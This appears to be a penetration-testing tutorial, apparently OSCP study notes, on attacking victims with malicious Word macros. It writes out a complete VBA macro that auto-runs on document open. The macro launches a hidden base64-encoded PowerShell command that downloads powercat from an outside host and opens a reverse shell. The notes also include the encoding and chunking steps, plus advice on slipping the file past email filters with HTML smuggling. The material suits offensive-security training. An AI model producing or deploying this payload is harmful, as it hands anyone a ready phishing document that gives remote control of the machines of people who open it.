Exploitation with Office Macros

What are Office Macros?

Office macros are a powerful feature in Microsoft Office applications like Word, Excel, and PowerPoint. They are essentially small programs or scripts that automate repetitive tasks or add custom functionality to these applications. While macros can be incredibly useful for productivity, they can also be exploited by attackers to deliver malicious code.

You might have seen this "Enable Content" option while opening and editing word and excel documents, so basically this is a sign of a macro in use. It is not necessary that it is malicious every time.

Before we jump into the more hands-on elements of this Learning Unit, let's discuss three important considerations when we use malicious Office documents in a client-side attack.

First, we must consider the delivery method of our document. Since malicious macro attacks are well-known, email providers and spam filter solutions often filter out all Microsoft Office documents by default. Therefore, in a majority of situations we can't just send the malicious document as an attachment. Furthermore, most anti-phishing training programs stress the danger of enabling macros in an emailed Office document.

To deliver our payload and increase the chances that the target opens the document, we could use a pretext and provide the document in another way, like a download link.

If we successfully manage to deliver the Office document to our target via email or download link, the file will be tagged with the *Mark of the Web* (MOTW). Office documents tagged with MOTW will open in *Protected View*. which disables all editing and modification settings in the document and blocks the execution of macros or embedded objects. When the victim opens the MOTW-tagged document, Office will show a warning with the option to *Enable Editing*.

Leveraging Microsoft Word Macros

Now lets gets hands on with this and leverage office macros to hack a target.

- First we will make a word document and save it in "doc" format. This is important because the newer **.docx** file type cannot save macros without attaching a containing template. This means that we can run macros within **.docx** files but we can't embed or save the macro in the document. In other words, the macro is not persistent. Alternatively, we could also use the **.docm** file type for our embedded macro.

- Once the file is created, go to view -> Macros
- Set the name to myMacro. Then click "Create".
- Create a VBA code to show "Enable Editing" for macros when file is opened and then execute a powershell shell instance.

```
Sub AutoOpen()

  MyMacro

End Sub

Sub Document_Open()

  MyMacro

End Sub

Sub MyMacro()

  CreateObject("Wscript.Shell").Run "powershell"

End Sub
```

- We should note that VBA has a 255-character limit for literal strings and therefore, we can't just embed the base64-encoded PowerShell commands as a single string. This restriction does not apply to strings stored in variables, so we can split the commands into multiple lines (stored in strings) and concatenate them.
- Below is the powershell command to download and execute powercat on the target, granting us shell access.

```
IEX(New-Object
System.Net.WebClient).DownloadString('http://192.168.45.188:8000/powercat.
ps1');powercat -c 192.168.45.188 -p 4444 -e powershell
```

- Go to https://www.base64encode.org/ and set the "Destination character set" to UTF-16LE. You will get the below base64 encoded string

```
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQ
BiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0
AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEAOAA4ADoAOAAwADAAMAAvAHAAbwB3AG
UAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgBjAGEAdAAgAC0AYwAgADEAOQAyAC4A
MQA2ADgALgA0ADUALgAxADgAOAAgAC0AcAAgADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcw
BoAGUAbABsAA==
```

- Use the below python script to break the base64 encoded string in chunks of 50.

```
str = "powershell.exe -nop -w hidden -e
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQ
BiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0
AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEAOAA4ADoAOAAwADAAMAAvAHAAbwB3AG
UAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgBjAGEAdAAgAC0AYwAgADEAOQAyAC4A
MQA2ADgALgA0ADUALgAxADgAOAAgAC0AcAAgADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcw
BoAGUAbABsAA=="

n = 50

for i in range(0, len(str), n):
        print("Str = Str + " + '"' + str[i:i+n] + '"')
```

```
wh1terose@fsociety:~/CTF/OSCP$ python script.py
Str = Str + "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAd"
Str = Str + "wAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAA"
Str = Str + "uAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhA"
Str = Str + "GQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADI"
Str = Str + "ALgAxADYAOAAuADQANQAuADEAOAA4ADoAOAAwADAAMAAvAHAAb"
Str = Str + "wB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgB"
Str = Str + "jAGEAdAAgAC0AYwAgADEAOQAyAC4AMQA2ADgALgA0ADUALgAxA"
Str = Str + "DgAOAAgAC0AcAAgADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHI"
Str = Str + "AcwBoAGUAbABsAA=="
wh1terose@fsociety:~/CTF/OSCP$
```

- Final payload that goes into Macro.

```
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String

        Str = Str + "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAd"
                Str = Str +
"wAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAA"
                Str = Str +
"uAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhA"
                Str = Str +
"GQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADI"
```

```
                Str = Str +
"ALgAxADYAOAAuADQANQAuADEAOAA4ADoAOAAwADAAMAAvAHAAb"
                Str = Str +
"wB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgB"
                Str = Str +
"jAGEAdAAgAC0AYwAgADEAOQAyAC4AMQA2ADgALgA0ADUALgAxA"
                Str = Str +
"DgAOAAgAC0AcAAgADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHI"
                Str = Str + "AcwBoAGUAbABsAA=="

    CreateObject("Wscript.Shell").Run Str
End Sub
```

- Set up a python server to server the powercat script and a netcat listener on 4444 to catch the reverse connection.
- https://github.com/besimorhino/powercat/blob/master/powercat.ps1

Now to send this to the target without being flagged by any email filters. We can make use of a technique called HTML Smuggling.

HTML smuggling is a technique used by attackers to sneak malicious code into web pages and deliver it to victims' computers.

In simpler terms -

Imagine you have a package you want to secretly deliver to someone. You could hide it inside a harmless-looking box and send it through the mail. That's similar to how HTML smuggling works.

The attacker creates a malicious payload, like a virus or malware, and encodes it into an HTML web page using special code. This encoded payload is hidden inside the HTML, which looks like a normal web page.

When the victim opens this web page in their web browser, the hidden code activates and automatically downloads the malicious payload onto their computer, without the victim realizing it. The payload is "smuggled" in through the web page.

This technique is effective because web pages are a common and trusted way to browse the internet. Firewalls and security systems are often configured to allow HTML pages to pass through, since they are not inherently dangerous. The malicious code is hidden inside the HTML, so it can bypass security measures.

To leverage this technique, we will use this tool on github called File Smuggling

https://github.com/eddiechu/File-Smuggling